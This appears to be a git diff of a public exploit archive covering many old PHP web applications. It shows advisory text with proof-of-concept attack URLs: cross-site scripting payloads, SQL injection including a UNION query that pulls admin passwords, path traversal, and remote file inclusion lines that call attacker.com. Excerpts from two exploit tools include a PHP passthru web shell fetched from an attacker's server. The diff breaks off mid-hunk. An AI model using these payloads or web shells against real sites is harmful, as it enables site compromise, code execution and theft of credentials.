a/platforms/php/webapps/26796.txt b/platforms/php/webapps/26796.txt index 877da7662..1de0c3a1e 100755 --- a/platforms/php/webapps/26796.txt +++ b/platforms/php/webapps/26796.txt @@ -4,4 +4,4 @@ VCD-db is prone to multiple input validation vulnerabilities. These issues are d Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. -http://www.example.com/?page=category&category_id=1&viewmode=img&batch=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file +http://www.example.com/?page=category&category_id=1&viewmode=img&batch=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/26797.txt b/platforms/php/webapps/26797.txt index 00953d4e6..2fdf9f7e8 100755 --- a/platforms/php/webapps/26797.txt +++ b/platforms/php/webapps/26797.txt @@ -4,4 +4,4 @@ PHP JackKnife is prone to a cross-site scripting vulnerability. This issue is du An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/Search/DisplayResults.php?DOMAIN_Link=&iSearchID=292&sKeywords=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E \ No newline at end of file +http://www.example.com/Search/DisplayResults.php?DOMAIN_Link=&iSearchID=292&sKeywords=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E \ No newline at end of file diff --git a/platforms/php/webapps/26798.txt b/platforms/php/webapps/26798.txt index 07f8df624..f97d14ed5 100755 --- a/platforms/php/webapps/26798.txt +++ b/platforms/php/webapps/26798.txt @@ -4,4 +4,4 @@ Mantis is prone to a cross-site scripting vulnerability. This issue is due to a An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/view_filters_page.php?for_screen=1&target_field=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file +http://www.example.com/view_filters_page.php?for_screen=1&target_field=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/26799.txt b/platforms/php/webapps/26799.txt index fed238fc0..044f0a9ba 100755 --- a/platforms/php/webapps/26799.txt +++ b/platforms/php/webapps/26799.txt @@ -6,4 +6,4 @@ Successful exploitation of these vulnerabilities could allow an attacker to comp Snipe Gallery versions 3.1.4 and prior are vulnerable; other versions may also be affected. -http://www.example.com/view.php?gallery_id=[SQL] \ No newline at end of file +http://www.example.com/view.php?gallery_id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26800.txt b/platforms/php/webapps/26800.txt index abfcf2d36..a971f6703 100755 --- a/platforms/php/webapps/26800.txt +++ b/platforms/php/webapps/26800.txt @@ -6,4 +6,4 @@ Successful exploitation of these vulnerabilities could allow an attacker to comp Snipe Gallery versions 3.1.4 and prior are vulnerable; other versions may also be affected. -http://www.example.com/image.php?page=1&gallery_id=1&image_id=[SQL] \ No newline at end of file +http://www.example.com/image.php?page=1&gallery_id=1&image_id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26809.txt b/platforms/php/webapps/26809.txt index f99079572..0bf360571 100755 --- a/platforms/php/webapps/26809.txt +++ b/platforms/php/webapps/26809.txt @@ -7,4 +7,4 @@ Successful exploitation of these vulnerabilities could result in a compromise of http://www.example.com/show.php?start=0&id=[SQL] http://www.example.com/show.php?start=[SQL] http://www.example.com/show.php?rand=1&id=[SQL] -http://www.example.com/show.php?rand=[SQL] \ No newline at end of file +http://www.example.com/show.php?rand=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/2681.txt b/platforms/php/webapps/2681.txt index d142567b3..e9b033537 100755 --- a/platforms/php/webapps/2681.txt +++ b/platforms/php/webapps/2681.txt @@ -9,7 +9,7 @@ # usage: # perl QnECMs.pl <target> <cmd shell location> <cmd shell variable> # -# perl QnECMs.pl http://server/ http://server/cmd.txt cmd +# perl QnECMs.pl http://target.com/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -74,8 +74,8 @@ sub usage() { head(); print " Usage: perl QnECMs.pl <target> <cmd shell location> <cmd shell variable>\r\n\n"; - print " <Site> - Full path to QnECMs ex: http://www.server/ \r\n"; - print " <cmd shell> - Path to cmd Shell e.g http://www.different-server/cmd.txt \r\n"; + print " <Site> - Full path to QnECMs ex: http://www.site.com/ \r\n"; + print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by K-159 \r\n"; @@ -84,14 +84,14 @@ sub usage() exit(); } -# http://server/[QnECMS_path]/admin/include/headerscripts.php?adminfolderpath=http://attacker.com/evil? -# http://server/[QnECMS_path]/admin/include/footerhome.php?adminfolderpath=http://attacker.com/evil? -# http://server/[QnECMS_path]/admin/include/footermain.php?adminfolderpath=http://attacker.com/evil? -# http://server/[QnECMS_path]/photogallery/headerscripts.php?adminfolderpath=http://attacker.com/evil? -# http://server/[QnECMS_path]/templates/footerhome.php?adminfolderpath=http://attacker.com/evil? -# http://server/[QnECMS_path]/templates/footermain.php?adminfolderpath=http://attacker.com/evil? -# http://server/[QnECMS_path]/templates/headermain.php?adminfolderpath=http://attacker.com/evil? -# http://server/[QnECMS_path]/templates/sitemapfooter.php?adminfolderpath=http://attacker.com/evil? -# http://server/[QnECMS_path]/templates/sitemapheader.php?adminfolderpath=http://attacker.com/evil? +# http://www.target.com/[QnECMS_path]/admin/include/headerscripts.php?adminfolderpath=http://attacker.com/evil? +# http://www.target.com/[QnECMS_path]/admin/include/footerhome.php?adminfolderpath=http://attacker.com/evil? +# http://www.target.com/[QnECMS_path]/admin/include/footermain.php?adminfolderpath=http://attacker.com/evil? +# http://www.target.com/[QnECMS_path]/photogallery/headerscripts.php?adminfolderpath=http://attacker.com/evil? +# http://www.target.com/[QnECMS_path]/templates/footerhome.php?adminfolderpath=http://attacker.com/evil? +# http://www.target.com/[QnECMS_path]/templates/footermain.php?adminfolderpath=http://attacker.com/evil? +# http://www.target.com/[QnECMS_path]/templates/headermain.php?adminfolderpath=http://attacker.com/evil? +# http://www.target.com/[QnECMS_path]/templates/sitemapfooter.php?adminfolderpath=http://attacker.com/evil? +# http://www.target.com/[QnECMS_path]/templates/sitemapheader.php?adminfolderpath=http://attacker.com/evil? # milw0rm.com [2006-10-30] diff --git a/platforms/php/webapps/26813.txt b/platforms/php/webapps/26813.txt index c8a4b6cc6..041cf3e64 100755 --- a/platforms/php/webapps/26813.txt +++ b/platforms/php/webapps/26813.txt @@ -4,4 +4,4 @@ Job Board is prone to an SQL injection vulnerability. This issue is due to a fai Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/index.php?cat=[SQL] \ No newline at end of file +http://www.example.com/index.php?cat=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26814.txt b/platforms/php/webapps/26814.txt index 84807b6c0..1eaf4c785 100755 --- a/platforms/php/webapps/26814.txt +++ b/platforms/php/webapps/26814.txt @@ -4,4 +4,4 @@ Dream Poll is prone to an SQL injection vulnerability. This issue is due to a fa Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/view_Results.php?id=[SQL] \ No newline at end of file +http://www.example.com/view_Results.php?id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26815.txt b/platforms/php/webapps/26815.txt index 5d7b0ef0e..c1816b712 100755 --- a/platforms/php/webapps/26815.txt +++ b/platforms/php/webapps/26815.txt @@ -5,4 +5,4 @@ ProjectForum is prone to multiple cross-site scripting vulnerabilities. These is An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. http://www.example.com/admin/adminsignin.html?fwd=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E -http://www.example.com/support/admin/newpage.html?originalpageid=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file +http://www.example.com/support/admin/newpage.html?originalpageid=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/26817.txt b/platforms/php/webapps/26817.txt index f18c234e3..35f65deb1 100755 --- a/platforms/php/webapps/26817.txt +++ b/platforms/php/webapps/26817.txt @@ -12,4 +12,4 @@ Insert: URI: http://www.example.com/[DIR]//modules.php?name=Web_Links Insert: -<iframe src=http://www.example.com?phpnuke79 < \ No newline at end of file +<iframe src=http://www.example.com?phpnuke79 < \ No newline at end of file diff --git a/platforms/php/webapps/26818.txt b/platforms/php/webapps/26818.txt index aac6a6d40..a894b2047 100755 --- a/platforms/php/webapps/26818.txt +++ b/platforms/php/webapps/26818.txt @@ -6,4 +6,4 @@ Successful exploitation of these vulnerabilities could result in a compromise of http://www.example.com/[envo]/modules.php?op=modload&name=News&file=index&catid=&topic=18&startrow=[xss] -http://www.example.com/[envo]/modules.php?op=modload&name=News&file=index&catid=[xss] \ No newline at end of file +http://www.example.com/[envo]/modules.php?op=modload&name=News&file=index&catid=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/26824.txt b/platforms/php/webapps/26824.txt index cef049b48..c164de498 100755 --- a/platforms/php/webapps/26824.txt +++ b/platforms/php/webapps/26824.txt @@ -4,4 +4,4 @@ WikkaWiki is prone to a cross-site scripting vulnerability. This issue is due to An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/TextSearch?phrase=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E \ No newline at end of file +http://www.example.com/TextSearch?phrase=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E \ No newline at end of file diff --git a/platforms/php/webapps/26826.txt b/platforms/php/webapps/26826.txt index 74d3a7dcd..036b580ab 100755 --- a/platforms/php/webapps/26826.txt +++ b/platforms/php/webapps/26826.txt @@ -4,4 +4,4 @@ Netref is prone to an SQL-injection vulnerability because the application fails A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/pro/page/index.php?cat=[Sql Injection] \ No newline at end of file +http://www.example.com/pro/page/index.php?cat=[Sql Injection] \ No newline at end of file diff --git a/platforms/php/webapps/26832.txt b/platforms/php/webapps/26832.txt index 78f8a0775..5b710ead2 100755 --- a/platforms/php/webapps/26832.txt +++ b/platforms/php/webapps/26832.txt @@ -4,4 +4,4 @@ QuickPayPro is prone to multiple input validation vulnerabilities. These issues Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. -http://www.example.com/mycompany/sales.view.php?customerid=1[SQL] \ No newline at end of file +http://www.example.com/mycompany/sales.view.php?customerid=1[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26837.txt b/platforms/php/webapps/26837.txt index e58b479a7..9002f9ef4 100755 --- a/platforms/php/webapps/26837.txt +++ b/platforms/php/webapps/26837.txt @@ -4,4 +4,4 @@ Limbo CMS is prone to multiple input validation vulnerabilities. These issues ca Limbo CMS versions 1.0.4.2 and prior are affected by these vulnerabilities. -http://www.example.com/[path_to_limbo]/index2.php?option=frontpage/../../../../../../../../../../../script \ No newline at end of file +http://www.example.com/[path_to_limbo]/index2.php?option=frontpage/../../../../../../../../../../../script \ No newline at end of file diff --git a/platforms/php/webapps/26838.txt b/platforms/php/webapps/26838.txt index 1489a68f3..fe0cf4361 100755 --- a/platforms/php/webapps/26838.txt +++ b/platforms/php/webapps/26838.txt @@ -6,4 +6,4 @@ E-commerce is prone to a cross-site scripting vulnerability. This issue is due t An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. http://www.example.com/index.php?page=">[XSS] -http://www.example.com/?page=">[XSS] \ No newline at end of file +http://www.example.com/?page=">[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/26840.txt b/platforms/php/webapps/26840.txt index 6252c1a88..d79bec60a 100755 --- a/platforms/php/webapps/26840.txt +++ b/platforms/php/webapps/26840.txt @@ -6,4 +6,4 @@ Successful exploitation of these vulnerabilities could result in a compromise of TML CMS 0.5 is reportedly affected. Other versions may be vulnerable as well. -http://www.example.com/[ztml]/index.php?doc=unote&id=[sql] \ No newline at end of file +http://www.example.com/[ztml]/index.php?doc=unote&id=[sql] \ No newline at end of file diff --git a/platforms/php/webapps/26841.txt b/platforms/php/webapps/26841.txt index 319d98140..94ae3eaa5 100755 --- a/platforms/php/webapps/26841.txt +++ b/platforms/php/webapps/26841.txt @@ -5,4 +5,4 @@ E-commerce is prone to a remote file include vulnerability. This issue is due to An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the Web server process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. http://www.example.com/index.php?page=http://www.example.com/?&cmd= -http://www.example.com/?page=http://www.example.com/?&cmd= \ No newline at end of file +http://www.example.com/?page=http://www.example.com/?&cmd= \ No newline at end of file diff --git a/platforms/php/webapps/26844.txt b/platforms/php/webapps/26844.txt index c6335e05b..1787c80f7 100755 --- a/platforms/php/webapps/26844.txt +++ b/platforms/php/webapps/26844.txt @@ -4,4 +4,4 @@ DCForum is prone to a cross-site scripting vulnerability. This issue is due to a An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -/dcboard.php?az=show_topic&forum=46&topic_id=2215&mesg_id=2215&page=[XSS] \ No newline at end of file +/dcboard.php?az=show_topic&forum=46&topic_id=2215&mesg_id=2215&page=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/26854.txt b/platforms/php/webapps/26854.txt index 9eb970fe8..c431dd737 100755 --- a/platforms/php/webapps/26854.txt +++ b/platforms/php/webapps/26854.txt @@ -6,4 +6,4 @@ ezDatabase is prone to an SQL injection vulnerability and a local file include v This issue affects version 2.1.2; other versions may also be affected. -http://www.example.com/index.php?p=getcat&db_id=[SQL] \ No newline at end of file +http://www.example.com/index.php?p=getcat&db_id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26855.txt b/platforms/php/webapps/26855.txt index f9b045cb7..0e975270c 100755 --- a/platforms/php/webapps/26855.txt +++ b/platforms/php/webapps/26855.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos http://www.example.com/browse.ihtml?step=4&store=42&id=[SQL] http://www.example.com/browse.ihtml?step=4&store=1[SQL] -http://www.example.com/browse.ihtml?step=[SQL] \ No newline at end of file +http://www.example.com/browse.ihtml?step=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26856.txt b/platforms/php/webapps/26856.txt index a36a63f69..9a1f76584 100755 --- a/platforms/php/webapps/26856.txt +++ b/platforms/php/webapps/26856.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos http://www.example.com/merchant.ihtml?id=56&step=[SQL] http://www.example.com/merchant.ihtml?id=[SQL] -http://www.example.com/merchant.ihtml?pid=[SQL] \ No newline at end of file +http://www.example.com/merchant.ihtml?pid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26857.txt b/platforms/php/webapps/26857.txt index d5cc6630a..c65d073f0 100755 --- a/platforms/php/webapps/26857.txt +++ b/platforms/php/webapps/26857.txt @@ -4,4 +4,4 @@ PAFileDB Extreme Edition is prone to an SQL injection vulnerability. This issue Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/pafiledb.php?news=showcontent&newsid=[SQL] \ No newline at end of file +http://www.example.com/pafiledb.php?news=showcontent&newsid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/2686.php b/platforms/php/webapps/2686.php index f1445cbdc..9a583b364 100755 --- a/platforms/php/webapps/2686.php +++ b/platforms/php/webapps/2686.php @@ -65,7 +65,7 @@ Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: -php '.$argv[0].' localhost http://www.evilserver/shell.txt ls -la -P1.1.1.1:80 +php '.$argv[0].' localhost http://www.evilsite.com/shell.txt ls -la -P1.1.1.1:80 shell.txt: <?php ob_clean();echo"Hacker_Kacper_Made_in_Poland!!..Hauru..^_^..the..best..polish..team..Greetz";ini_set("max_execution_time",0);echo "hauru";passthru($_GET["cmd"]);die;?> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- '); diff --git a/platforms/php/webapps/26866.txt b/platforms/php/webapps/26866.txt index 9ec279d8a..abcb4c687 100755 --- a/platforms/php/webapps/26866.txt +++ b/platforms/php/webapps/26866.txt @@ -8,4 +8,4 @@ http://xxxx.com/roundcube/?_auth=cf559dcf52d8801ccd51cd1f3ba3eca08d1b0bce= &_tas Caused this error message: -**PHP Error in /usr/local/apache2/htdocs/roundcube/index.php (301)*:* Invalid request failed/file not found \ No newline at end of file +**PHP Error in /usr/local/apache2/htdocs/roundcube/index.php (301)*:* Invalid request failed/file not found \ No newline at end of file diff --git a/platforms/php/webapps/26867.txt b/platforms/php/webapps/26867.txt index 7fa442f0e..35546ad21 100755 --- a/platforms/php/webapps/26867.txt +++ b/platforms/php/webapps/26867.txt @@ -4,4 +4,4 @@ PHP Fusebox is prone to a cross-site scripting vulnerability. This issue is due An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/index.php?action=%3Ch1%3E%3Cmarquee%3Ehalooo%3C/marquee%3E%3C/h1%3E \ No newline at end of file +http://www.example.com/index.php?action=%3Ch1%3E%3Cmarquee%3Ehalooo%3C/marquee%3E%3C/h1%3E \ No newline at end of file diff --git a/platforms/php/webapps/26868.txt b/platforms/php/webapps/26868.txt index 5e15ba707..8e910c0e7 100755 --- a/platforms/php/webapps/26868.txt +++ b/platforms/php/webapps/26868.txt @@ -5,4 +5,4 @@ JPortal Forum is prone to an SQL injection vulnerability. This issue is due to a Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. http://www.example.com/jportal/forum.php?cmd=search&word=Trey&where=author%20and%201=0%20union%20select%20null,null,nick,pass,null, -null,null,null,null,null,null,null,null,null,null,null%20from%20admins%20/* \ No newline at end of file +null,null,null,null,null,null,null,null,null,null,null%20from%20admins%20/* \ No newline at end of file diff --git a/platforms/php/webapps/26870.txt b/platforms/php/webapps/26870.txt index 5d97a1f25..fc6d36fd3 100755 --- a/platforms/php/webapps/26870.txt +++ b/platforms/php/webapps/26870.txt @@ -8,4 +8,4 @@ http://www.example.com/guestbook/index.php?entry=<script>alert(document.cookie); http://www.example.com/guestbook/index.php?entry=<iframesrc=http://www.example.com/> http://www.example.com/guestbook/comment.php?gb_id=1<script>alert(document.cookie);</script> -http://www.example.com/guestbook/comment.php?gb_id=1<IFRAMESRC="javascript:alert('XSS');"></IFRAME> \ No newline at end of file +http://www.example.com/guestbook/comment.php?gb_id=1<IFRAMESRC="javascript:alert('XSS');"></IFRAME> \ No newline at end of file diff --git a/platforms/php/webapps/26871.txt b/platforms/php/webapps/26871.txt index b9a5c9688..19fa10c7a 100755 --- a/platforms/php/webapps/26871.txt +++ b/platforms/php/webapps/26871.txt @@ -4,4 +4,4 @@ PlaySmS is prone to a cross-site scripting vulnerability. This issue is due to a An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks -http://www.example.com/playsms/index.php?err=XSShere \ No newline at end of file +http://www.example.com/playsms/index.php?err=XSShere \ No newline at end of file diff --git a/platforms/php/webapps/26872.txt b/platforms/php/webapps/26872.txt index 5e4ee0aa5..6ccd6dedf 100755 --- a/platforms/php/webapps/26872.txt +++ b/platforms/php/webapps/26872.txt @@ -4,4 +4,4 @@ PHP-Fusion is prone to a cross-site scripting vulnerability. This issue is due t An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/[fushion]/members.php?sortby=%3Ciframe%20src=http://www.example.com%20%3C \ No newline at end of file +http://www.example.com/[fushion]/members.php?sortby=%3Ciframe%20src=http://www.example.com%20%3C \ No newline at end of file diff --git a/platforms/php/webapps/26877.txt b/platforms/php/webapps/26877.txt index 1caf86921..88744301e 100755 --- a/platforms/php/webapps/26877.txt +++ b/platforms/php/webapps/26877.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th Amaxus CMS verions 3 and earlier are reportedly prone to this issue. -http://example.com/?search_word=&search.x=20&search.y=4&change=[XSS] \ No newline at end of file +http://example.com/?search_word=&search.x=20&search.y=4&change=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/26878.txt b/platforms/php/webapps/26878.txt index 359485845..a4e98c0da 100755 --- a/platforms/php/webapps/26878.txt +++ b/platforms/php/webapps/26878.txt @@ -17,4 +17,4 @@ iewer_attrs=[XSS] http://www.example.com/Introduction?&CB=CB1&fileDN=mnF%3D2. 3.html%2CmnOD%3DNews%2CmnOD%3DMy%20D ocuments%2Cdc%3Demanuel%2Cdc%3Dmenno -nite%2Cdc%3Dnet&folderviewer_attrs=[XSS] \ No newline at end of file +nite%2Cdc%3Dnet&folderviewer_attrs=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/26879.txt b/platforms/php/webapps/26879.txt index a4016c220..93ca77f43 100755 --- a/platforms/php/webapps/26879.txt +++ b/platforms/php/webapps/26879.txt @@ -4,4 +4,4 @@ Cofax is prone to a cross-site scripting vulnerability. This issue is due to a f An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/search.htm?searchstring2=&searchstring=[XSS] \ No newline at end of file +http://www.example.com/search.htm?searchstring2=&searchstring=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/26881.txt b/platforms/php/webapps/26881.txt index 57fff5c9d..48a9103e0 100755 --- a/platforms/php/webapps/26881.txt +++ b/platforms/php/webapps/26881.txt @@ -4,4 +4,4 @@ FLIP is prone to multiple cross-site scripting vulnerabilities. These issues are An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/forum.php?frame=[XSS] \ No newline at end of file +http://www.example.com/forum.php?frame=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/26883.txt b/platforms/php/webapps/26883.txt index 0e32000cf..46baa81f3 100755 --- a/platforms/php/webapps/26883.txt +++ b/platforms/php/webapps/26883.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th This issue affects Enterprise CMS version 3.0; earlier versions may also be vulnerable. -http://www.example.com/search/index.php?advanced=0&associated_list=&page=1&search=0&page_search=[XSS] \ No newline at end of file +http://www.example.com/search/index.php?advanced=0&associated_list=&page=1&search=0&page_search=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/26884.txt b/platforms/php/webapps/26884.txt index 18fda6ebc..56de9626e 100755 --- a/platforms/php/webapps/26884.txt +++ b/platforms/php/webapps/26884.txt @@ -8,4 +8,4 @@ These issues affect version 3.6.1; earlier versions may also be vulnerable. http://www.example.com/web/guest/downloads/portal_ent?p_p_id=77&p_p_action=1&p_p_state=maximized&p_p_mode=view&p_p_col_order=null&p_p_col_pos=2&p_p_col_count=3&_77_struts_action=[XSS] http://www.example.com/web/guest/downloads/portal_ent?p_p_id=77&p_p_action=1&p_p_state=maximized&p_p_mode=[XSS] -http://www.example/com/web/guest/downloads/portal_ent?p_p_id=77&p_p_action=1&p_p_state=[XSS] \ No newline at end of file +http://www.example/com/web/guest/downloads/portal_ent?p_p_id=77&p_p_action=1&p_p_state=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/26885.txt b/platforms/php/webapps/26885.txt index e317be2c2..9b0e1dd25 100755 --- a/platforms/php/webapps/26885.txt +++ b/platforms/php/webapps/26885.txt @@ -8,4 +8,4 @@ This issue affects version 1.1; other versions may also be vulnerable. NOTE: The vendor disputes this issue, stating that Lighthouse is an application server and is not susceptible to client-side cross-site scripting attacks. -http://www.example.com/?search=[XSS] \ No newline at end of file +http://www.example.com/?search=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/26895.txt b/platforms/php/webapps/26895.txt index 0bcb42d81..e0415caa3 100755 --- a/platforms/php/webapps/26895.txt +++ b/platforms/php/webapps/26895.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th This issue affects version 2.1; other versions may also be vulnerable. -http://www.example.com/search.html?query=[XSS] \ No newline at end of file +http://www.example.com/search.html?query=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/26896.txt b/platforms/php/webapps/26896.txt index 9402ce38e..348766103 100755 --- a/platforms/php/webapps/26896.txt +++ b/platforms/php/webapps/26896.txt @@ -6,4 +6,4 @@ Successful exploitation could allow an attacker to compromise the application, a Version 3.1 and prior are vulnerable; other versions may also be affected. -http://www.example.com/index.php?StoryID=[SQL] \ No newline at end of file +http://www.example.com/index.php?StoryID=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26897.txt b/platforms/php/webapps/26897.txt index 1147e91cb..bda7b2944 100755 --- a/platforms/php/webapps/26897.txt +++ b/platforms/php/webapps/26897.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Version 4.9 and prior are vulnerable; other versions may also be affected. -http://www.example.com/?setLang=[SQL] \ No newline at end of file +http://www.example.com/?setLang=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26898.txt b/platforms/php/webapps/26898.txt index d7710203f..2c48628a9 100755 --- a/platforms/php/webapps/26898.txt +++ b/platforms/php/webapps/26898.txt @@ -4,4 +4,4 @@ ODFaq is prone to an SQL injection vulnerability. This issue is due to a failure Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/faq.php?cat=1[SQL] \ No newline at end of file +http://www.example.com/faq.php?cat=1[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26899.txt b/platforms/php/webapps/26899.txt index d83621d05..2b0620619 100755 --- a/platforms/php/webapps/26899.txt +++ b/platforms/php/webapps/26899.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Version 2.7 and prior are vulnerable; other versions may also be affected. -http://www.example.com/index.php?show=[SQL] \ No newline at end of file +http://www.example.com/index.php?show=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26902.txt b/platforms/php/webapps/26902.txt index e67fc5fe8..53dd26564 100755 --- a/platforms/php/webapps/26902.txt +++ b/platforms/php/webapps/26902.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Version 1.0 RC4 and prior are vulnerable; other versions may also be affected. -http://www.example.com/article.php?cat=[SQL] \ No newline at end of file +http://www.example.com/article.php?cat=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26908.txt b/platforms/php/webapps/26908.txt index bc17c5caf..94781a71a 100755 --- a/platforms/php/webapps/26908.txt +++ b/platforms/php/webapps/26908.txt @@ -6,4 +6,4 @@ Successful exploitation of these vulnerabilities could result in a compromise of bitweaver 1.1.1 beta and prior are vulnerable; other versions may also be affected. -http://www.example.com/users/my.php?sort_mode=[SQL] \ No newline at end of file +http://www.example.com/users/my.php?sort_mode=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/2691.txt b/platforms/php/webapps/2691.txt index cb8e87e1d..65053ebd1 100755 --- a/platforms/php/webapps/2691.txt +++ b/platforms/php/webapps/2691.txt @@ -54,8 +54,8 @@ pbook.php Proof Of Concept: ~~~~~~~~~~~~~~~ -http://server/[p-book_path]/admin.php?pb_lang=http://attacker.com/inject.txt? -http://server/[p-book_path]/pbook.php?pb_lang=http://attacker.com/inject.txt? +http://target.com/[p-book_path]/admin.php?pb_lang=http://attacker.com/inject.txt? +http://target.com/[p-book_path]/pbook.php?pb_lang=http://attacker.com/inject.txt? Solution: ~~~~~~~ diff --git a/platforms/php/webapps/26911.txt b/platforms/php/webapps/26911.txt index 31b1aaaad..7ca403fbc 100755 --- a/platforms/php/webapps/26911.txt +++ b/platforms/php/webapps/26911.txt @@ -6,4 +6,4 @@ Successful exploitation of these vulnerabilities could result in a compromise of These issues affect Komodo CMS version 2.1; other versions may also be vulnerable. -http://www.example.com/page.php?page=[SQL] \ No newline at end of file +http://www.example.com/page.php?page=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26912.txt b/platforms/php/webapps/26912.txt index 2c50cfe67..6ea122e4f 100755 --- a/platforms/php/webapps/26912.txt +++ b/platforms/php/webapps/26912.txt @@ -8,4 +8,4 @@ These issues affect version 4.0; other versions may also be vulnerable. http://www.example.com/index.cfm?page=[SQL] http://www.example.com/index.cfm?page=40&criteria=&start=11&title=&content=[XSS] -http://www.example.com/index.cfm?restricted=false&page=10&criteria=[XSS] \ No newline at end of file +http://www.example.com/index.cfm?restricted=false&page=10&criteria=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/26916.txt b/platforms/php/webapps/26916.txt index 9e10714a6..e5a97a30b 100755 --- 